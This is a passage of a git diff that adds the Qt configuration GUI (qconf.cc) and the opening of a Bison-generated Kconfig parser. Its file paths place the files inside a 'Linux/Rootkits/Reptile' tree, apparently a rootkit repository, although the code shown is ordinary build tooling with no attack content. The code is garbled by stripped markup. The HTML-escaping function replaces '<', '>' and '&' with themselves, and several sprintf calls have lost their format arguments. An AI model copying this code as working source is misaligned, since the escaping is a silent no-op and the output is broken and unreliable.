"; + if (showDebug()) { + if (_menu->prompt->visible.expr) { + debug += "  dep: "; + expr_print(_menu->prompt->visible.expr, expr_print_help, &debug, E_NONE); + debug += "

"; + } + } + } + if (showDebug()) + debug += QString().sprintf("defined at %s:%d

", _menu->file->name, _menu->lineno); + + setText(head + debug + help); +} + +QString ConfigInfoView::debug_info(struct symbol *sym) +{ + QString debug; + + debug += "type: "; + debug += print_filter(sym_type_name(sym->type)); + if (sym_is_choice(sym)) + debug += " (choice)"; + debug += "
"; + if (sym->rev_dep.expr) { + debug += "reverse dep: "; + expr_print(sym->rev_dep.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + for (struct property *prop = sym->prop; prop; prop = prop->next) { + switch (prop->type) { + case P_PROMPT: + case P_MENU: + debug += QString().sprintf("prompt: ", prop->menu); + debug += print_filter(_(prop->text)); + debug += "
"; + break; + case P_DEFAULT: + case P_SELECT: + case P_RANGE: + case P_ENV: + debug += prop_get_type_name(prop->type); + debug += ": "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + break; + case P_CHOICE: + if (sym_is_choice(sym)) { + debug += "choice: "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + break; + default: + debug += "unknown property: "; + debug += prop_get_type_name(prop->type); + debug += "
"; + } + if (prop->visible.expr) { + debug += "    dep: "; + expr_print(prop->visible.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + } + debug += "
"; + + return debug; +} + +QString ConfigInfoView::print_filter(const QString &str) +{ + QRegExp re("[<>&\"\\n]"); + QString res = str; + for (int i = 0; (i = res.find(re, i)) >= 0;) { + switch (res[i].latin1()) { + case '<': + res.replace(i, 1, "<"); + i += 4; + break; + case '>': + res.replace(i, 1, ">"); + i += 4; + break; + case '&': + res.replace(i, 1, "&"); + i += 5; + break; + case '"': + res.replace(i, 1, """); + i += 6; + break; + case '\n': + res.replace(i, 1, "
"); + i += 4; + break; + } + } + return res; +} + +void ConfigInfoView::expr_print_help(void *data, struct symbol *sym, const char *str) +{ + QString* text = reinterpret_cast(data); + QString str2 = print_filter(str); + + if (sym && sym->name && !(sym->flags & SYMBOL_CONST)) { + *text += QString().sprintf("", sym); + *text += str2; + *text += ""; + } else + *text += str2; +} + +Q3PopupMenu* ConfigInfoView::createPopupMenu(const QPoint& pos) +{ + Q3PopupMenu* popup = Parent::createPopupMenu(pos); + Q3Action* action = new Q3Action(NULL, _("Show Debug Info"), 0, popup); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), SLOT(setShowDebug(bool))); + connect(this, SIGNAL(showDebugChanged(bool)), action, SLOT(setOn(bool))); + action->setOn(showDebug()); + popup->insertSeparator(); + action->addTo(popup); + return popup; +} + +void ConfigInfoView::contentsContextMenuEvent(QContextMenuEvent *e) +{ + Parent::contentsContextMenuEvent(e); +} + +ConfigSearchWindow::ConfigSearchWindow(ConfigMainWindow* parent, const char *name) + : Parent(parent, name), result(NULL) +{ + setCaption("Search Config"); + + QVBoxLayout* layout1 = new QVBoxLayout(this, 11, 6); + QHBoxLayout* layout2 = new QHBoxLayout(0, 0, 6); + layout2->addWidget(new QLabel(_("Find:"), this)); + editField = new QLineEdit(this); + connect(editField, SIGNAL(returnPressed()), SLOT(search())); + layout2->addWidget(editField); + searchButton = new QPushButton(_("Search"), this); + searchButton->setAutoDefault(FALSE); + connect(searchButton, SIGNAL(clicked()), SLOT(search())); + layout2->addWidget(searchButton); + layout1->addLayout(layout2); + + split = new QSplitter(this); + split->setOrientation(Qt::Vertical); + list = new ConfigView(split, name); + list->list->mode = listMode; + info = new ConfigInfoView(split, name); + connect(list->list, SIGNAL(menuChanged(struct menu *)), + info, SLOT(setInfo(struct menu *))); + connect(list->list, SIGNAL(menuChanged(struct menu *)), + parent, SLOT(setMenuLink(struct menu *))); + + layout1->addWidget(split); + + if (name) { + int x, y, width, height; + bool ok; + + configSettings->beginGroup(name); + width = configSettings->readNumEntry("/window width", parent->width() / 2); + height = configSettings->readNumEntry("/window height", parent->height() / 2); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + Q3ValueList sizes = configSettings->readSizes("/split", &ok); + if (ok) + split->setSizes(sizes); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigSearchWindow::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + configSettings->writeSizes("/split", split->sizes()); + configSettings->endGroup(); + } +} + +void ConfigSearchWindow::search(void) +{ + struct symbol **p; + struct property *prop; + ConfigItem *lastItem = NULL; + + free(result); + list->list->clear(); + info->clear(); + + result = sym_re_search(editField->text().latin1()); + if (!result) + return; + for (p = result; *p; p++) { + for_all_prompts((*p), prop) + lastItem = new ConfigItem(list->list, lastItem, prop->menu, + menu_is_visible(prop->menu)); + } +} + +/* + * Construct the complete config widget + */ +ConfigMainWindow::ConfigMainWindow(void) + : searchWindow(0) +{ + QMenuBar* menu; + bool ok; + int x, y, width, height; + char title[256]; + + QDesktopWidget *d = configApp->desktop(); + snprintf(title, sizeof(title), "%s%s", + rootmenu.prompt->text, +#if QT_VERSION < 0x040000 + " (Qt3)" +#else + "" +#endif + ); + setCaption(title); + + width = configSettings->readNumEntry("/window width", d->width() - 64); + height = configSettings->readNumEntry("/window height", d->height() - 64); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + + split1 = new QSplitter(this); + split1->setOrientation(Qt::Horizontal); + setCentralWidget(split1); + + menuView = new ConfigView(split1, "menu"); + menuList = menuView->list; + + split2 = new QSplitter(split1); + split2->setOrientation(Qt::Vertical); + + // create config tree + configView = new ConfigView(split2, "config"); + configList = configView->list; + + helpText = new ConfigInfoView(split2, "help"); + helpText->setTextFormat(Qt::RichText); + + setTabOrder(configList, helpText); + configList->setFocus(); + + menu = menuBar(); + toolBar = new Q3ToolBar("Tools", this); + + backAction = new Q3Action("Back", QPixmap(xpm_back), _("Back"), 0, this); + connect(backAction, SIGNAL(activated()), SLOT(goBack())); + backAction->setEnabled(FALSE); + Q3Action *quitAction = new Q3Action("Quit", _("&Quit"), Qt::CTRL + Qt::Key_Q, this); + connect(quitAction, SIGNAL(activated()), SLOT(close())); + Q3Action *loadAction = new Q3Action("Load", QPixmap(xpm_load), _("&Load"), Qt::CTRL + Qt::Key_L, this); + connect(loadAction, SIGNAL(activated()), SLOT(loadConfig())); + saveAction = new Q3Action("Save", QPixmap(xpm_save), _("&Save"), Qt::CTRL + Qt::Key_S, this); + connect(saveAction, SIGNAL(activated()), SLOT(saveConfig())); + conf_set_changed_callback(conf_changed); + // Set saveAction's initial state + conf_changed(); + Q3Action *saveAsAction = new Q3Action("Save As...", _("Save &As..."), 0, this); + connect(saveAsAction, SIGNAL(activated()), SLOT(saveConfigAs())); + Q3Action *searchAction = new Q3Action("Find", _("&Find"), Qt::CTRL + Qt::Key_F, this); + connect(searchAction, SIGNAL(activated()), SLOT(searchConfig())); + Q3Action *singleViewAction = new Q3Action("Single View", QPixmap(xpm_single_view), _("Single View"), 0, this); + connect(singleViewAction, SIGNAL(activated()), SLOT(showSingleView())); + Q3Action *splitViewAction = new Q3Action("Split View", QPixmap(xpm_split_view), _("Split View"), 0, this); + connect(splitViewAction, SIGNAL(activated()), SLOT(showSplitView())); + Q3Action *fullViewAction = new Q3Action("Full View", QPixmap(xpm_tree_view), _("Full View"), 0, this); + connect(fullViewAction, SIGNAL(activated()), SLOT(showFullView())); + + Q3Action *showNameAction = new Q3Action(NULL, _("Show Name"), 0, this); + showNameAction->setToggleAction(TRUE); + connect(showNameAction, SIGNAL(toggled(bool)), configView, SLOT(setShowName(bool))); + connect(configView, SIGNAL(showNameChanged(bool)), showNameAction, SLOT(setOn(bool))); + showNameAction->setOn(configView->showName()); + Q3Action *showRangeAction = new Q3Action(NULL, _("Show Range"), 0, this); + showRangeAction->setToggleAction(TRUE); + connect(showRangeAction, SIGNAL(toggled(bool)), configView, SLOT(setShowRange(bool))); + connect(configView, SIGNAL(showRangeChanged(bool)), showRangeAction, SLOT(setOn(bool))); + showRangeAction->setOn(configList->showRange); + Q3Action *showDataAction = new Q3Action(NULL, _("Show Data"), 0, this); + showDataAction->setToggleAction(TRUE); + connect(showDataAction, SIGNAL(toggled(bool)), configView, SLOT(setShowData(bool))); + connect(configView, SIGNAL(showDataChanged(bool)), showDataAction, SLOT(setOn(bool))); + showDataAction->setOn(configList->showData); + + QActionGroup *optGroup = new QActionGroup(this); + optGroup->setExclusive(TRUE); + connect(optGroup, SIGNAL(selected(QAction *)), configView, + SLOT(setOptionMode(QAction *))); + connect(optGroup, SIGNAL(selected(QAction *)), menuView, + SLOT(setOptionMode(QAction *))); + +#if QT_VERSION >= 0x040000 + configView->showNormalAction = new QAction(_("Show Normal Options"), optGroup); + configView->showAllAction = new QAction(_("Show All Options"), optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), optGroup); +#else + configView->showNormalAction = new QAction(_("Show Normal Options"), 0, optGroup); + configView->showAllAction = new QAction(_("Show All Options"), 0, optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), 0, optGroup); +#endif + configView->showNormalAction->setToggleAction(TRUE); + configView->showNormalAction->setOn(configList->optMode == normalOpt); + configView->showAllAction->setToggleAction(TRUE); + configView->showAllAction->setOn(configList->optMode == allOpt); + configView->showPromptAction->setToggleAction(TRUE); + configView->showPromptAction->setOn(configList->optMode == promptOpt); + + Q3Action *showDebugAction = new Q3Action(NULL, _("Show Debug Info"), 0, this); + showDebugAction->setToggleAction(TRUE); + connect(showDebugAction, SIGNAL(toggled(bool)), helpText, SLOT(setShowDebug(bool))); + connect(helpText, SIGNAL(showDebugChanged(bool)), showDebugAction, SLOT(setOn(bool))); + showDebugAction->setOn(helpText->showDebug()); + + Q3Action *showIntroAction = new Q3Action(NULL, _("Introduction"), 0, this); + connect(showIntroAction, SIGNAL(activated()), SLOT(showIntro())); + Q3Action *showAboutAction = new Q3Action(NULL, _("About"), 0, this); + connect(showAboutAction, SIGNAL(activated()), SLOT(showAbout())); + + // init tool bar + backAction->addTo(toolBar); + toolBar->addSeparator(); + loadAction->addTo(toolBar); + saveAction->addTo(toolBar); + toolBar->addSeparator(); + singleViewAction->addTo(toolBar); + splitViewAction->addTo(toolBar); + fullViewAction->addTo(toolBar); + + // create config menu + Q3PopupMenu* config = new Q3PopupMenu(this); + menu->insertItem(_("&File"), config); + loadAction->addTo(config); + saveAction->addTo(config); + saveAsAction->addTo(config); + config->insertSeparator(); + quitAction->addTo(config); + + // create edit menu + Q3PopupMenu* editMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Edit"), editMenu); + searchAction->addTo(editMenu); + + // create options menu + Q3PopupMenu* optionMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Option"), optionMenu); + showNameAction->addTo(optionMenu); + showRangeAction->addTo(optionMenu); + showDataAction->addTo(optionMenu); + optionMenu->insertSeparator(); + optGroup->addTo(optionMenu); + optionMenu->insertSeparator(); + + // create help menu + Q3PopupMenu* helpMenu = new Q3PopupMenu(this); + menu->insertSeparator(); + menu->insertItem(_("&Help"), helpMenu); + showIntroAction->addTo(helpMenu); + showAboutAction->addTo(helpMenu); + + connect(configList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(configList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + connect(configList, SIGNAL(parentSelected()), + SLOT(goBack())); + connect(menuList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + + connect(configList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + SLOT(listFocusChanged(void))); + connect(helpText, SIGNAL(menuSelected(struct menu *)), + SLOT(setMenuLink(struct menu *))); + + QString listMode = configSettings->readEntry("/listMode", "symbol"); + if (listMode == "single") + showSingleView(); + else if (listMode == "full") + showFullView(); + else /*if (listMode == "split")*/ + showSplitView(); + + // UI setup done, restore splitter positions + Q3ValueList sizes = configSettings->readSizes("/split1", &ok); + if (ok) + split1->setSizes(sizes); + + sizes = configSettings->readSizes("/split2", &ok); + if (ok) + split2->setSizes(sizes); +} + +void ConfigMainWindow::loadConfig(void) +{ + QString s = Q3FileDialog::getOpenFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + if (conf_read(QFile::encodeName(s))) + QMessageBox::information(this, "qconf", _("Unable to load configuration!")); + ConfigView::updateListAll(); +} + +bool ConfigMainWindow::saveConfig(void) +{ + if (conf_write(NULL)) { + QMessageBox::information(this, "qconf", _("Unable to save configuration!")); + return false; + } + return true; +} + +void ConfigMainWindow::saveConfigAs(void) +{ + QString s = Q3FileDialog::getSaveFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + saveConfig(); +} + +void ConfigMainWindow::searchConfig(void) +{ + if (!searchWindow) + searchWindow = new ConfigSearchWindow(this, "search"); + searchWindow->show(); +} + +void ConfigMainWindow::changeMenu(struct menu *menu) +{ + configList->setRootMenu(menu); + if (configList->rootEntry->parent == &rootmenu) + backAction->setEnabled(FALSE); + else + backAction->setEnabled(TRUE); +} + +void ConfigMainWindow::setMenuLink(struct menu *menu) +{ + struct menu *parent; + ConfigList* list = NULL; + ConfigItem* item; + + if (configList->menuSkip(menu)) + return; + + switch (configList->mode) { + case singleMode: + list = configList; + parent = menu_get_parent_menu(menu); + if (!parent) + return; + list->setRootMenu(parent); + break; + case symbolMode: + if (menu->flags & MENU_ROOT) { + configList->setRootMenu(menu); + configList->clearSelection(); + list = menuList; + } else { + list = configList; + parent = menu_get_parent_menu(menu->parent); + if (!parent) + return; + item = menuList->findConfigItem(parent); + if (item) { + menuList->setSelected(item, TRUE); + menuList->ensureItemVisible(item); + } + list->setRootMenu(parent); + } + break; + case fullMode: + list = configList; + break; + default: + break; + } + + if (list) { + item = list->findConfigItem(menu); + if (item) { + list->setSelected(item, TRUE); + list->ensureItemVisible(item); + list->setFocus(); + } + } +} + +void ConfigMainWindow::listFocusChanged(void) +{ + if (menuList->mode == menuMode) + configList->clearSelection(); +} + +void ConfigMainWindow::goBack(void) +{ + ConfigItem* item; + + configList->setParentMenu(); + if (configList->rootEntry == &rootmenu) + backAction->setEnabled(FALSE); + item = (ConfigItem*)menuList->selectedItem(); + while (item) { + if (item->menu == configList->rootEntry) { + menuList->setSelected(item, TRUE); + break; + } + item = (ConfigItem*)item->parent(); + } +} + +void ConfigMainWindow::showSingleView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = singleMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configList->setFocus(); +} + +void ConfigMainWindow::showSplitView(void) +{ + configList->mode = symbolMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configApp->processEvents(); + menuList->mode = menuMode; + menuList->setRootMenu(&rootmenu); + menuList->setAllOpen(TRUE); + menuView->show(); + menuList->setFocus(); +} + +void ConfigMainWindow::showFullView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = fullMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(FALSE); + configList->setFocus(); +} + +/* + * ask for saving configuration before quitting + * TODO ask only when something changed + */ +void ConfigMainWindow::closeEvent(QCloseEvent* e) +{ + if (!conf_get_changed()) { + e->accept(); + return; + } + QMessageBox mb("qconf", _("Save configuration?"), QMessageBox::Warning, + QMessageBox::Yes | QMessageBox::Default, QMessageBox::No, QMessageBox::Cancel | QMessageBox::Escape); + mb.setButtonText(QMessageBox::Yes, _("&Save Changes")); + mb.setButtonText(QMessageBox::No, _("&Discard Changes")); + mb.setButtonText(QMessageBox::Cancel, _("Cancel Exit")); + switch (mb.exec()) { + case QMessageBox::Yes: + if (saveConfig()) + e->accept(); + else + e->ignore(); + break; + case QMessageBox::No: + e->accept(); + break; + case QMessageBox::Cancel: + e->ignore(); + break; + } +} + +void ConfigMainWindow::showIntro(void) +{ + static const QString str = _("Welcome to the qconf graphical configuration tool.\n\n" + "For each option, a blank box indicates the feature is disabled, a check\n" + "indicates it is enabled, and a dot indicates that it is to be compiled\n" + "as a module. Clicking on the box will cycle through the three states.\n\n" + "If you do not see an option (e.g., a device driver) that you believe\n" + "should be present, try turning on Show All Options under the Options menu.\n" + "Although there is no cross reference yet to help you figure out what other\n" + "options must be enabled to support the option you are interested in, you can\n" + "still view the help of a grayed-out option.\n\n" + "Toggling Show Debug Info under the Options menu will show the dependencies,\n" + "which you can then match by examining other options.\n\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::showAbout(void) +{ + static const QString str = _("qconf is Copyright (C) 2002 Roman Zippel .\n\n" + "Bug reports and feature request can also be entered at http://bugzilla.kernel.org/\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::saveSettings(void) +{ + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + + QString entry; + switch(configList->mode) { + case singleMode : + entry = "single"; + break; + + case symbolMode : + entry = "split"; + break; + + case fullMode : + entry = "full"; + break; + + default: + break; + } + configSettings->writeEntry("/listMode", entry); + + configSettings->writeSizes("/split1", split1->sizes()); + configSettings->writeSizes("/split2", split2->sizes()); +} + +void ConfigMainWindow::conf_changed(void) +{ + if (saveAction) + saveAction->setEnabled(conf_get_changed()); +} + +void fixup_rootmenu(struct menu *menu) +{ + struct menu *child; + static int menu_cnt = 0; + + menu->flags |= MENU_ROOT; + for (child = menu->list; child; child = child->next) { + if (child->prompt && child->prompt->type == P_MENU) { + menu_cnt++; + fixup_rootmenu(child); + menu_cnt--; + } else if (!menu_cnt) + fixup_rootmenu(child); + } +} + +static const char *progname; + +static void usage(void) +{ + printf(_("%s \n"), progname); + exit(0); +} + +int main(int ac, char** av) +{ + ConfigMainWindow* v; + const char *name; + + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + progname = av[0]; + configApp = new QApplication(ac, av); + if (ac > 1 && av[1][0] == '-') { + switch (av[1][1]) { + case 'h': + case '?': + usage(); + } + name = av[2]; + } else + name = av[1]; + if (!name) + usage(); + + conf_parse(name); + fixup_rootmenu(&rootmenu); + conf_read(NULL); + //zconfdump(stdout); + + configSettings = new ConfigSettings(); + configSettings->beginGroup("/kconfig/qconf"); + v = new ConfigMainWindow(); + + //zconfdump(stdout); + configApp->setMainWidget(v); + configApp->connect(configApp, SIGNAL(lastWindowClosed()), SLOT(quit())); + configApp->connect(configApp, SIGNAL(aboutToQuit()), v, SLOT(saveSettings())); + v->show(); + configApp->exec(); + + configSettings->endGroup(); + delete configSettings; + + return 0; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.tab.c_shipped b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.tab.c_shipped new file mode 100644 index 0000000..25ae16a --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.tab.c_shipped @@ -0,0 +1,2538 @@ +/* A Bison parser, made by GNU Bison 2.5. */ + +/* Bison implementation for Yacc-like parsers in C + + Copyright (C) 1984, 1989-1990, 2000-2011 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +/* As a special exception, you may create a larger work that contains + part or all of the Bison parser skeleton and distribute that work + under terms of your choice, so long as that work isn't itself a + parser generator using the skeleton or a modified version thereof + as a parser skeleton. Alternatively, if you modify or redistribute + the parser skeleton itself, you may (at your option) remove this + special exception, which will cause the skeleton and the resulting + Bison output files to be licensed under the GNU General Public + License without this special exception. + + This special exception was added by the Free Software Foundation in + version 2.2 of Bison. */ + +/* C LALR(1) parser skeleton written by Richard Stallman, by + simplifying the original so-called "semantic" parser. */ + +/* All symbols defined below should begin with yy or YY, to avoid + infringing on user name space. This should be done even for local + variables, as they might otherwise be expanded by user macros. + There are some unavoidable exceptions within include files to + define necessary library symbols; they are noted "INFRINGES ON + USER NAME SPACE" below. */ + +/* Identify Bison output. */ +#define YYBISON 1 + +/* Bison version. */ +#define YYBISON_VERSION "2.5" + +/* Skeleton name. */ +#define YYSKELETON_NAME "yacc.c" + +/* Pure parsers. */ +#define YYPURE 0 + +/* Push parsers. */ +#define YYPUSH 0 + +/* Pull parsers. */ +#define YYPULL 1 + +/* Using locations. */ +#define YYLSP_NEEDED 0 + +/* Substitute the variable and function names. */ +#define yyparse zconfparse +#define yylex zconflex +#define yyerror zconferror +#define yylval zconflval +#define yychar zconfchar +#define yydebug zconfdebug +#define yynerrs zconfnerrs + + +/* Copy the first part of user declarations. */ + + +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + + + + +/* Enabling traces. */ +#ifndef YYDEBUG +# define YYDEBUG 1 +#endif + +/* Enabling verbose error messages. */ +#ifdef YYERROR_VERBOSE +# undef YYERROR_VERBOSE +# define YYERROR_VERBOSE 1 +#else +# define YYERROR_VERBOSE 0 +#endif + +/* Enabling the token table. */ +#ifndef YYTOKEN_TABLE +# define YYTOKEN_TABLE 0 +#endif + + +/* Tokens. */ +#ifndef YYTOKENTYPE +# define YYTOKENTYPE + /* Put the tokens into the symbol table, so that GDB and other debuggers + know about them. */ + enum yytokentype { + T_MAINMENU = 258, + T_MENU = 259, + T_ENDMENU = 260, + T_SOURCE = 261, + T_CHOICE = 262, + T_ENDCHOICE = 263, + T_COMMENT = 264, + T_CONFIG = 265, + T_MENUCONFIG = 266, + T_HELP = 267, + T_HELPTEXT = 268, + T_IF = 269, + T_ENDIF = 270, + T_DEPENDS = 271, + T_OPTIONAL = 272, + T_PROMPT = 273, + T_TYPE = 274, + T_DEFAULT = 275, + T_SELECT = 276, + T_RANGE = 277, + T_VISIBLE = 278, + T_OPTION = 279, + T_ON = 280, + T_WORD = 281, + T_WORD_QUOTE = 282, + T_UNEQUAL = 283, + T_CLOSE_PAREN = 284, + T_OPEN_PAREN = 285, + T_EOL = 286, + T_OR = 287, + T_AND = 288, + T_EQUAL = 289, + T_NOT = 290 + }; +#endif + + + +#if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED +typedef union YYSTYPE +{ + + + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; + + + +} YYSTYPE; +# define YYSTYPE_IS_TRIVIAL 1 +# define yystype YYSTYPE /* obsolescent; will be withdrawn */ +# define YYSTYPE_IS_DECLARED 1 +#endif + + +/* Copy the second part of user declarations. */ + + +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" + + + +#ifdef short +# undef short +#endif + +#ifdef YYTYPE_UINT8 +typedef YYTYPE_UINT8 yytype_uint8; +#else +typedef unsigned char yytype_uint8; +#endif + +#ifdef YYTYPE_INT8 +typedef YYTYPE_INT8 yytype_int8; +#elif (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +typedef signed char yytype_int8; +#else +typedef short int yytype_int8; +#endif + +#ifdef YYTYPE_UINT16 +typedef YYTYPE_UINT16 yytype_uint16; +#else +typedef unsigned short int yytype_uint16; +#endif + +#ifdef YYTYPE_INT16 +typedef YYTYPE_INT16 yytype_int16; +#else +typedef short int yytype_int16; +#endif + +#ifndef YYSIZE_T +# ifdef __SIZE_TYPE__ +# define YYSIZE_T __SIZE_TYPE__ +# elif defined size_t +# define YYSIZE_T size_t +# elif ! defined YYSIZE_T && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# define YYSIZE_T size_t +# else +# define YYSIZE_T unsigned int +# endif +#endif + +#define YYSIZE_MAXIMUM ((YYSIZE_T) -1) + +#ifndef YY_ +# if defined YYENABLE_NLS && YYENABLE_NLS +# if ENABLE_NLS +# include /* INFRINGES ON USER NAME SPACE */ +# define YY_(msgid) dgettext ("bison-runtime", msgid) +# endif +# endif +# ifndef YY_ +# define YY_(msgid) msgid +# endif +#endif + +/* Suppress unused-variable warnings by "using" E. */ +#if ! defined lint || defined __GNUC__ +# define YYUSE(e) ((void) (e)) +#else +# define YYUSE(e) /* empty */ +#endif + +/* Identity function, used to suppress warnings about constant conditions. */ +#ifndef lint +# define YYID(n) (n) +#else +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static int +YYID (int yyi) +#else +static int +YYID (yyi) + int yyi; +#endif +{ + return yyi; +} +#endif + +#if ! defined yyoverflow || YYERROR_VERBOSE + +/* The parser invokes alloca or malloc; define the necessary symbols. */ + +# ifdef YYSTACK_USE_ALLOCA +# if YYSTACK_USE_ALLOCA +# ifdef __GNUC__ +# define YYSTACK_ALLOC __builtin_alloca +# elif defined __BUILTIN_VA_ARG_INCR +# include /* INFRINGES ON USER NAME SPACE */ +# elif defined _AIX +# define YYSTACK_ALLOC __alloca +# elif defined _MSC_VER +# include /* INFRINGES ON USER NAME SPACE */ +# define alloca _alloca +# else +# define YYSTACK_ALLOC alloca +# if ! defined _ALLOCA_H && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# endif +# endif +# endif + +# ifdef YYSTACK_ALLOC + /* Pacify GCC's `empty if-body' warning. */ +# define YYSTACK_FREE(Ptr) do { /* empty */; } while (YYID (0)) +# ifndef YYSTACK_ALLOC_MAXIMUM + /* The OS might guarantee only one guard page at the bottom of the stack, + and a page size can be as small as 4096 bytes. So we cannot safely + invoke alloca (N) if N exceeds 4096. Use a slightly smaller number + to allow for a few compiler-allocated temporary stack slots. */ +# define YYSTACK_ALLOC_MAXIMUM 4032 /* reasonable circa 2006 */ +# endif +# else +# define YYSTACK_ALLOC YYMALLOC +# define YYSTACK_FREE YYFREE +# ifndef YYSTACK_ALLOC_MAXIMUM +# define YYSTACK_ALLOC_MAXIMUM YYSIZE_MAXIMUM +# endif +# if (defined __cplusplus && ! defined EXIT_SUCCESS \ + && ! ((defined YYMALLOC || defined malloc) \ + && (defined YYFREE || defined free))) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# ifndef YYMALLOC +# define YYMALLOC malloc +# if ! defined malloc && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void *malloc (YYSIZE_T); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# ifndef YYFREE +# define YYFREE free +# if ! defined free && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void free (void *); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# endif +#endif /* ! defined yyoverflow || YYERROR_VERBOSE */ + + +#if (! defined yyoverflow \ + && (! defined __cplusplus \ + || (defined YYSTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL))) + +/* A type that is properly aligned for any stack member. */ +union yyalloc +{ + yytype_int16 yyss_alloc; + YYSTYPE yyvs_alloc; +}; + +/* The size of the maximum gap between one aligned stack and the next. */ +# define YYSTACK_GAP_MAXIMUM (sizeof (union yyalloc) - 1) + +/* The size of an array large to enough to hold all stacks, each with + N elements. */ +# define YYSTACK_BYTES(N) \ + ((N) * (sizeof (yytype_int16) + sizeof (YYSTYPE)) \ + + YYSTACK_GAP_MAXIMUM) + +# define YYCOPY_NEEDED 1 + +/* Relocate STACK from its old location to the new one. The + local variables YYSIZE and YYSTACKSIZE give the old and new number of + elements in the stack, and YYPTR gives the new location of the + stack. Advance YYPTR to a properly aligned location for the next + stack. */ +# define YYSTACK_RELOCATE(Stack_alloc, Stack) \ + do \ + { \ + YYSIZE_T yynewbytes; \ + YYCOPY (&yyptr->Stack_alloc, Stack, yysize); \ + Stack = 